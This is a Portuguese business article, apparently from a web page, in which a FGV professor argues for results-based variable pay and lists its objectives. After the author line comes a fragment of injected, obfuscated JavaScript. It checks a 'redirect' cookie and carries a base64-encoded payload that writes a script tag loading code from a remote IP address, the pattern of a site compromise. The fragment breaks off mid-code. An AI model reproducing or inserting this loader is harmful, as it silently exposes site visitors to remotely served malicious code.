Remuneração variável cada vez mais real e imprescindível
Remuneração variável cada vez mais real e imprescindível
Um mundo cada vez mais globalizado tem provocado grandes transformações no tocante à gestão empresarial.
Agilidade, competitividade, produtividade, competência e inovação são palavras de ordem para qualquer empresa que deseja triunfar nesse ambiente de incertezas em que vivemos.
A ambiência externa de extrema competitividade, com clientes cada dia mais exigentes, nos obriga a questionar e revisar frequentemente nossos conceitos e estratégias de gestão, buscando uma atuação mais ágil, qualificada e assertiva.
Neste contexto, as dimensões resultado, qualidade e tempo assumem importância significativa na capacidade de competição e longevidade das organizações.
Portanto, a busca permanente da melhoria dos resultados empresariais é fator determinante para a sobrevivência, desenvolvimento perpetuação de toda organização.
Uma política de gestão individual e coletiva das pessoas voltada para a valorização da competência de gerar resultados e sustentada por práticas de remuneração mais participativas favorece em muito o envolvimento dos colaboradores nesse processo.
A adoção de uma ferramenta que permita a todos colaboradores conquistarem a participação nos resultados da empresa favorecerá na busca de profissionais adequados e alinhados ao negócio, que sirvam como base para a prática de uma filosofia empresarial que garanta o alcance dos objetivos desejados.
O sistema de remuneração variável vinculado a resultados tem como principais objetivos:
- Estimular a busca permanente da alavancagem dos Resultados Empresariais, na linha de maximização do valor da empresa;
- Retribuir da maneira mais objetiva e justa possível, a contribuição individual para o alcance dos resultados desejados, evitando o caráter meramente distributivo em sua concessão;
- Incentivar os profissionais envolvidos a extrapolar seus níveis clássicos de desempenho;
- Servir de instrumento motivacional e orientador de gerenciamento de resultados;
- Evitar o caráter meramente distributivo;
- Estabelecer metas desafiadoras e factíveis vinculadas a: Volume de Vendas, Identificação de Oportunidades de Negócio, Imagem da Empresa, Pessoas, Implementação de Processos, Certificações, Cumprimento de Orçamento, redução de custos, Atendimentos aos prazos, indicadores das áreas, etc.
Portanto, o Sistema de Remuneração Variável vinculado a Resultados, deve ser entendido como um instrumento favorecedor da integração entre Capital x Trabalho.
Sérgio Campos é professor da IBE-FGV. (“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
